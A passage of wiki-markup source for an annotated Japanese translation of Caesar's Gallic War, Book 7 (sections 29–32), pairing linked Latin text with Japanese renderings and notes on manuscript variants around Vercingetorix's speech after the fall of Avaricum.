**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die [[wikt:en:concilium#Latin|concilio]] [[wikt:en:convocatus#Latin|convocato]], 
**翌日に、会合が召集されると、
*[[wikt:en:consolatus#Latin|consolatus]] [[wikt:en:cohortatus#Latin|cohortatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; est, 
**&lt;small&gt;（ウェルキンゲトリークスは、味方の者たちを）&lt;/small&gt;慰めて、励ました：
*&lt;u&gt;ne&lt;/u&gt; se [[wikt:en:admodum#Latin|admodum]] animo [[wikt:en:demitterent#Latin|demitterent]], 
**あまり気を落とさないように、
*&lt;u&gt;ne&lt;/u&gt; [[wikt:en:perturbarentur#Latin|perturbarentur]] [[wikt:en:incommodum#Latin|incommodo]]. 
**敗北により取り乱さないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の下線部は、&amp;alpha;系写本では [[wikt:en:ne#Latin:_no|ne]] ～ ne だが、&lt;br&gt;　　　　　　　　　　　&amp;beta;系写本では ne ～ [[wikt:en:neve#Latin|neve]] となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Non [[wikt:en:virtus#Latin|virtute]] neque in [[wikt:en:acies#Latin|acie]] [[wikt:en:vicisse#Latin|vicisse]] [[wikt:en:Romani#Latin|Romanos]], 
**ローマ人たちが勝ったのは、武勇においてでも、戦列&lt;small&gt;〔野外の合戦〕&lt;/small&gt;においてでもなく、
*sed [[wikt:en:artificium#Noun|artificio]] [[wikt:en:quidam#Determiner|quodam]] et [[wikt:en:scientia#Latin:_knowledge|scientia]] [[wikt:en:oppugnatio#Latin|oppugnationis]], 
**ある種の技巧および攻城戦の知識によるものであって、
*cuius rei [[wikt:en:fuerint#Latin|fuerint]] ipsi [[wikt:en:imperitus#Latin|imperiti]]. 
**その事柄に&lt;small&gt;（ガッリア人）&lt;/small&gt;自身が通じていなかったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第5巻#42節|第5巻42節]]では、ネルウィイー族らガッリア北部のベルガエ勢はローマ人の攻城術をまねていた。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:erro#Latin:_wander|Errare]], si [[wikt:en:aliqui#Latin|qui]] in [[wikt:en:bellum#Latin|bello]] omnes [[wikt:en:secundus#Adjective|secundos]] rerum [[wikt:en:proventus#Latin|proventus]] [[wikt:en:exspectent#Latin|exspectent]]. 
**誰であれ、戦争において、万事が順調な成功になることを期待するのならば、&lt;small&gt;（その者らは）&lt;/small&gt;誤っている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：語順が判りにくいが、&lt;br&gt;　　　　物事のすべて（omnes rerum）が幸運な結果（secundos proventus）であることを期待するのならば～。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：errare の意味上の主語（[[wikt:en:eos#Latin|eos]]）が省略されている。）&lt;/span&gt;

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sibi [[wikt:en:numquam#Latin|numquam]] [[wikt:en:placuisse#Latin|placuisse]] [[wikt:en:Avaricum#Latin|Avaricum]] [[wikt:en:defendi#Latin|defendi]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;にとって、アウァーリクムが防衛されることは決して好ましいものではなかった。
*cuius rei [[wikt:en:testis#Latin:_witness|testes]] ipsos [[wikt:en:haberet#Latin|haberet]]; 
**その事の証人は&lt;small&gt;（諸君ら）&lt;/small&gt;自身である。
*sed &lt;u&gt;factum&lt;/u&gt; [[wikt:en:inprudentia#Latin|inprudentia]] [[wikt:en:Bituriges#Latin|Biturigum]] et [[wikt:en:nimius#Latin|nimia]] [[wikt:en:obsequentia#Latin|obsequentia]] reliquorum, &lt;u&gt;uti&lt;/u&gt; hoc [[wikt:en:incommodum#Latin|incommodum]] [[wikt:en:acciperetur#Latin|acciperetur]].
**だが、ビトゥリゲース族の軽率さと、ほかの者たちの過度な同調により、この敗北を蒙るようになったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:factus#Latin:_done|factum]] (esse) ～ [[wikt:en:uti#Latin:_how|uti]] …「…ようになった」）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
